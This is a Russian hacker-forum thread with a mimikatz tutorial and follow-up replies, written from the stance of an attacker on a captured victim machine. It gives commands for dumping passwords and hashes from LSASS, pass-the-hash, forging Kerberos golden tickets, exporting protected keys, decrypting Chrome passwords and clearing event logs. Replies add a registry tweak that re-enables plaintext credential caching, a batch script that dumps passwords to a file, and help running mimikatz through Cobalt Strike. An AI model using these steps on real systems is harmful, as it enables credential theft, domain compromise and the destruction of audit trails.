PDA

Просмотр полной версии : Ох уж этот mimikatz


SooLFaa
03.04.2017, 18:08
Всем привет. Поговорим о небольшом в каком - то смысле, но очень мощном постэксплуатационном фреймворке Mimikatz.

Cсылочка на вики: https://github.com/gentilkiwi/mimikatz/wiki

Ссылочка где ещё почитать: https://adsecurity.org/?page_id=1821#SEKURLSAKerberos

Ссылочка на гит: https://github.com/gentilkiwi/mimikatz

Ссылочка на метасплоит с мимикатзом: https://www.offensive-security.com/metasploit-unleashed/mimikatz/

Ну а я же в вкратце освещу всё, что написано в сие ссылках и добавлю от себя.

Итак, поехали, мы захватили компьютер жертвы с помощью метерпретера и теперь надо пробросить mimikatz. Для этого выполняем команду:


Code:
load mimikatz

В результате получаем следующее...

http://s05.radikal.ru/i178/1704/d5/3c9389cfddd1.png

Открываем help и погнали

http://s019.radikal.ru/i603/1704/c8/1cd96f2fd8f0.png

Видим, что нам доступны некоторые опции (на самом деле это опции из модуля sekurlsa).

Для того чтобы узреть все модули мимикатца, необходимо выполнить команду с любым несуществующим модулем.


Code:
mimikatz_command -f antichat::

http://s019.radikal.ru/i638/1704/d0/0fa7a4106c39.jpg

Чтобы увидеть опции любого модуля выполним же следующую команду(Напоминаю, что пока мы работаем в meterpreter console):


Code:
mimikatz_command -f crypto::

В результате получим список опций этого модуля.

http://s13.radikal.ru/i186/1704/7f/c514033aa3c0.png

Воспользуемся первой из опции и взглянем какие криптопровайдеры установлены на моей машине.

http://s020.radikal.ru/i711/1704/99/3dc5aeb83fd2.png

На этом я закончу смотреть на мимикатц через метерпретер и воспользуемся его бинарной сборкой для удобства описания модулей и практики. Для этого я накатил windows server 2012 с установленными Active Directory и Цербером. Об этом позже, а пока вспомним какие модули есть.

Модули

module ~ crypto (https://github.com/gentilkiwi/mimikatz/wiki/module-~-crypto)– достаточно старый модуль, позволяет ресерчить CryptoApi провайдеры, но сегодня это уже мало что дает.

1) crypto:: providers – вывести список всех криптопровайдеров

2) crypto::stores – вывести все логические хранилища сертификатов в системном окружении

.SpoilerTarget" type="button">Spoiler: Профит
http://s09.radikal.ru/i182/1704/cc/4997ab7f02fa.png
3) crypto::certificates – перечисляет сертификаты и ключи, так же может их экспортировать

.SpoilerTarget" type="button">Spoiler: Профит
http://s013.radikal.ru/i325/1704/fb/806bc0852c5b.png
4) crypto::keys – перечисляет установленные ключи

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i620/1704/15/fb62e83440e8.png
5) crypto::hash – функция говорит сама за себя. Получаем хешики пользователя

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i629/1704/e0/1f788dacb33e.png
6) crypto::capi – делает неэкспортируемые ключи – экспортируемыми

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i710/1704/59/a1d2fb3f4583.png

module ~ privilege (https://github.com/gentilkiwi/mimikatz/wiki/module-~-privilege)–модуль для получения определенных прав и повышение привилегий

1)privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки.

2)privilege::driver – Получить привилегии на загрузку драйверов.

3)privilege::security – Получить привилегии на изменение политики безопасности.

4)privilege::backup – Получаем права на архивирование файлов

5)privilege::restore – Получаем права на восстановление бэкапов

6)privilege::sysenv – Получаем права на управление переменными окружения

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i631/1704/32/5bcb9ba2629f.png

module ~ sekurlsa (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa) – модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.

1) sekurlsa::logonpasswords – получить хеши залогиненных пользователей

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i615/1704/7d/d131ec1864c9.png
2) sekurlsa::wdigest – получить хеши залогиненных пользователей (в открытом виде из wdigest)

.SpoilerTarget" type="button">Spoiler: Профит
http://s14.radikal.ru/i187/1704/24/f661d265493d.png
3) sekurlsa::msv – тоже самое + CredentionalKeys

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i622/1704/8f/ddbc54b29456.png
4) sekurlsa::tspkg – сервис для управления фрагментацией реестра, в том числе через него можно получить креды.

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i628/1704/aa/ff44264cc6d7.png
5) sekurlsa::livessp – ещё одна служба, которая позволяет получать креды в открытом виде.

6) sekurlsa:: process – переключиться в LSASS, чтобы снифать пассы.

7) sekurlsa:: pth - – запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd.

.SpoilerTarget" type="button">Spoiler: Профит
http://s011.radikal.ru/i315/1704/ca/54a393a8cee8.png
8) sekurlsa::tickets – получить все билеты Цербера

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i627/1704/41/2d1a5d3274a5.png
9) sekurlsa::krbtgt – получить все TGT билеты в текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i602/1704/14/87e076acc4d4.png
10) sekurlsa::dpapisystem – Получить системный расшифрованный ключ

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i307/1704/5f/e30a9b8d2e3d.png

module ~ dpapi (https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi) – модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа.

1) dpapi::blob – непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI

2) dpapi::chrome – расшифровать пароли GOOGLE CHROME

module ~ event (https://github.com/gentilkiwi/mimikatz/wiki/module-~-event) – модуль для очистки журнала событий

1) event::drop – остановить сервис легирования

2) event::clear - просто очистить логи

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i706/1704/85/a3b8ef7a0298.png

SooLFaa
03.04.2017, 18:09
module ~ kerberos (https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos) -

модуль для работы с Цербером, а вот тут мы поговорим по подробнее……

Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу).

Ticket’ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center)

Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями.

А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами.

Ну а теперь, когда мы знаем о Цербере всё, что надо. Посмотрим на то, что нам предлагает мимикатз...



1)kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию

.SpoilerTarget" type="button">Spoiler: Профит
Сгенерируем новый билет с помощью golden тикета и положим его в файл.


Code:
/kerberos::golden /user:Administrator /domain: /sid: /krbtgt: остальные опции означают записи в группы можно оставить без измений.

http://s019.radikal.ru/i614/1704/48/b01c890d3527.png

http://s020.radikal.ru/i709/1704/4d/10a73b438bec.png
2)kerberos::list Список всех билетов в текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s45.radikal.ru/i108/1704/40/4bf065ce8c39.png
3)kerberos::tgt – Все ТГТ билеты в стекущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s010.radikal.ru/i311/1704/19/6c9ed742ccf8.png
4)kerberos: purge – удалить все билеты с текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i622/1704/a5/6cae4dc01ac2.png

http://s019.radikal.ru/i643/1704/52/fa1a4d087a62.png
5)kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене)

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i308/1704/6f/00fb7eedca3d.png
6)kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i612/1704/2b/99135ab5c3d5.png

module ~ minesweeper (https://github.com/gentilkiwi/mimikatz/wiki/module-~-minesweeper) -Показать флажки в игре сапёр. Абсолютно бесполезная опция. Думаю добавлена для фана;

module ~ misc (https://github.com/gentilkiwi/mimikatz/wiki/module-~-misc)–общие модули

1)misc::cmd – вызвать cmd окошко под текущим юзвером

2)misc::regedit – вызвать менеджер редактирования реестра

3)misc::taskmgr – вызвать таск менеджер он же «Диспетчер задач»

4)misc::detours – чекаем процессы

.SpoilerTarget" type="button">Spoiler: Профит
http://s50.radikal.ru/i130/1704/5a/212f231b01f1.png
5)misc::memssp инжектимся в память и перехватываем хешики пользователей

.SpoilerTarget" type="button">Spoiler: Профит
http://s42.radikal.ru/i096/1704/a0/8921b76418ea.png
6)misc::compressme – сжимает текущий файл mimikatz.exe

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i624/1704/f0/7bb2a0566c86.png

module ~ net (https://github.com/gentilkiwi/mimikatz/wiki/module-~-net)–модуль для работы с локальными группами

1) net::user – список пользователей в системе

.SpoilerTarget" type="button">Spoiler: Профит
http://s50.radikal.ru/i128/1704/20/6d7964b6b655.png
2) net::group – Какой пользователь в какой групповой политике

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i717/1704/2c/5bf65fbfa8c6.png
3) net::wsession – список последних сессий

.SpoilerTarget" type="button">Spoiler: Профит
http://s14.radikal.ru/i187/1704/d0/20cdf8fa3e0d.png
4) net::tod – время на удаленной тачке

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i602/1704/35/0f4e8ecead7f.png

module ~ sid (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sid)–модули для работы с пользовательским id

1) sid::lookup – узнать кому принадлежит sid

.SpoilerTarget" type="button">Spoiler: Профит
http://s008.radikal.ru/i304/1704/0b/9a525326ab95.png

module ~ token (https://github.com/gentilkiwi/mimikatz/wiki/module-~-token) -модуль по работе с токенами пользователей

1) token::whoami – сведения о текущем пользователе

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i712/1704/1d/e7759ac35c92.png
2) token::list – список выданных токенов

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i308/1704/aa/2819e2599b6e.png
3) token::elevate – делегировать token

4) token::revert – откатить токен(разлогин)

Первоисточник: codeby.net

Ну и на последок видосик реализации атаки Golden Ticket

Veil
04.04.2017, 00:24
Очень нужная и доходчивая статья. Автору респект.

SooLFaa
04.04.2017, 01:20
BabaDook said:
↑ (https://antichat.live/posts/4068265/)
Конечно не нова, но в челом могёшь и лучше.
Стоит сразу сказать , остудить горячий пыл сто секюр требует права админа. Ещё не плохая атака из самой памяти выдёргивать учётки.
Если не ошибаюсь , то в meterpreter можно ещё load kiwi
Необходимо соблюдать разрядность системы, и по возможности подгружать как модуль по 2м причинам. 1-я АВ(инфа не точная) выдаст алерт на инструмент. 2-я работа в памяти. Кто в теме, тот поймёт. Лёха, жги ещё , прям в чатик кидай.


А про sekurlsa:: я писал. А разрядность я в х64 работал. Подгрузка в память да, АВ ест его на завтрак а вот если через powershell нет

SooLFaa
04.04.2017, 01:28
BabaDook said:
↑ (https://antichat.live/posts/4068265/)
Конечно не нова, но в челом могёшь и лучше.
Стоит сразу сказать , остудить горячий пыл сто секюр требует права админа. Ещё не плохая атака из самой памяти выдёргивать учётки.
Если не ошибаюсь , то в meterpreter можно ещё load kiwi
Необходимо соблюдать разрядность системы, и по возможности подгружать как модуль по 2м причинам. 1-я АВ(инфа не точная) выдаст алерт на инструмент. 2-я работа в памяти. Кто в теме, тот поймёт. Лёха, жги ещё , прям в чатик кидай.




модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.


Вот Ваня цитата.

Kevin Shindel
04.04.2017, 09:28
SooLFaa респект! (https://antichat.live/members/261906/)

Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.

Veil
04.04.2017, 09:59
Поддерживаю.Мне бы тоже хотелось попрактиковаться,ибо с практикой вообще беда.

SooLFaa
04.04.2017, 15:02
Kevin Shindel said:
↑ (https://antichat.live/posts/4068307/)
SooLFaa респект! (https://antichat.live/members/261906/)
Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.


Есть такой ресурс vulnhub. там куча уязвимых образов на любой лад, рекомендую.

p1nk_pwny
26.04.2017, 03:24
Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.

Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l\SecurityProviders\WDigest значение 1

Подробнее тут (https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/)

Далее необходимо устроить релогин пользователя и все вернется на круги своя.

moonden
28.04.2017, 03:16
p1nk_pwny said:
↑ (https://antichat.live/posts/4076812/)
Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.
Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l\SecurityProviders\WDigest значение 1


Немного не точно, точнее совсем неправильно. По пути указанному выше, нужно найти DWORD параметр "UseLogonCredential" и вот ему уже прописать значение 1

P.S. Пробывал на 2012 сервере, все равно ни Mimikatz, ни WCE пароли не перехватывают (авера нет). На многих других дедах норм. Видимо есть еще какая-то причина.

Veil
06.09.2017, 21:00
Что-то мимикактз не очень хочет работать на Кобальте Страйке. Надписи как на грузинском чае.

Хэши NTLM вижу, но не дешифрует, хотя пароль простой. Что делаю не так?

erwerr2321
06.09.2017, 21:05
Veil said:
↑ (https://antichat.live/posts/4124982/)
Надписи как на грузинском чае.


непереводимая игра слов?

Kevin Shindel
06.09.2017, 21:16
его макаронник наверное писал, онкологичная картина...

Veil
06.09.2017, 21:26
Прикол приколом. Но все таки?

Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.

http://s019.radikal.ru/i608/1709/c7/ae64e46761e1.png

http://s008.radikal.ru/i303/1709/65/4fe10fdc8f36.png

binarymaster
06.09.2017, 22:35
Veil said:
↑ (https://antichat.live/posts/4124995/)
Прикол приколом. Но все таки?
Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.


Кодировки... OEM vs. ANSI, как всегда (в данном случае Win-1251 против Win-1252).

Сохраните вывод mimikatz в какой-нибудь файл (через редирект stdout), и скачайте его себе.

Kevin Shindel
06.09.2017, 22:43
можно через spools /home/log.txt

Veil
07.09.2017, 14:20
Надо логи Кобальта посмотреть, он что-то ведет, что-то пишет)). Заодно и узнаю, чего он там пишет.

Veil
09.09.2017, 00:24
Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?

binarymaster
09.09.2017, 00:32
Veil said:
↑ (https://antichat.live/posts/4125869/)
Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?


Какие именно функции?

Veil
09.09.2017, 00:35
Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все.

К примеру .

mimikatz sekurlsa::logonpasswords не хочет работать.

binarymaster
09.09.2017, 00:37
Veil said:
↑ (https://antichat.live/posts/4125883/)
Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все.
К примеру .
mimikatz sekurlsa::logonpasswords не хочет работать.


Логи нужны, двух видов - что должно быть, и что есть. С конкретными командами.

Veil
09.09.2017, 00:39
Сейчас виртуалку включу и найду логи. Логи есть полные.

Alangile
11.12.2017, 14:12
с практикой у всех беда...

moonden
14.01.2018, 15:00
Давно не пользовался, но днях понадобился. Никак не могу вывести результат в файл.

Ранее делал так батником:


Code:
if exist %windir%\SysWOW64\taskmgr.exe (goto x64)
start mimikatz privilege::debug
mimikatz sekurlsa::logonPasswords full>p.txt
:x64
cd x64
start mimikatz64 privilege::debug
mimikatz64 sekurlsa::logonPasswords full>p.txt
exit

Знаю корявый код, но работало, сейчас никак не хочет, хотя в консоли все пароли кажет.


Code:
mimikatz privilege::debug
mimikatz sekurlsa::logonPasswords

Что с "full" что без него.

Собссно требуется помощь по слогам, как бы это реализовать в батнике

binarymaster
14.01.2018, 15:57
moonden said:
↑ (https://antichat.live/posts/4173186/)
Собссно требуется помощь по слогам, как бы это реализовать в батнике


Можно использовать stdin файл для ввода команд.

moonden
15.01.2018, 17:07
binarymaster said:
↑ (https://antichat.live/posts/4173210/)
Можно использовать stdin файл для ввода команд.


Я в программировании не силен, можно на примере как это можно реализовать?

binarymaster
15.01.2018, 17:30
moonden said:
↑ (https://antichat.live/posts/4173513/)
Я в программировании не силен, можно на примере как это можно реализовать?


Причём тут программирование? Стандартные функции перенаправления ввода/вывода - пользуясь консолью это нужно знать.


Code:
echo line 1>file.txt
echo line 2>>file.txt
type file.txt|program.exe

moonden
15.01.2018, 17:33
binarymaster said:
↑ (https://antichat.live/posts/4173522/)
Причём тут программирование


Сорян, просто не понял, что такое "stdin", начал гуглить он меня на С++ пинать начал. Спасибо за помощь.

spainet
25.01.2018, 03:30
согласен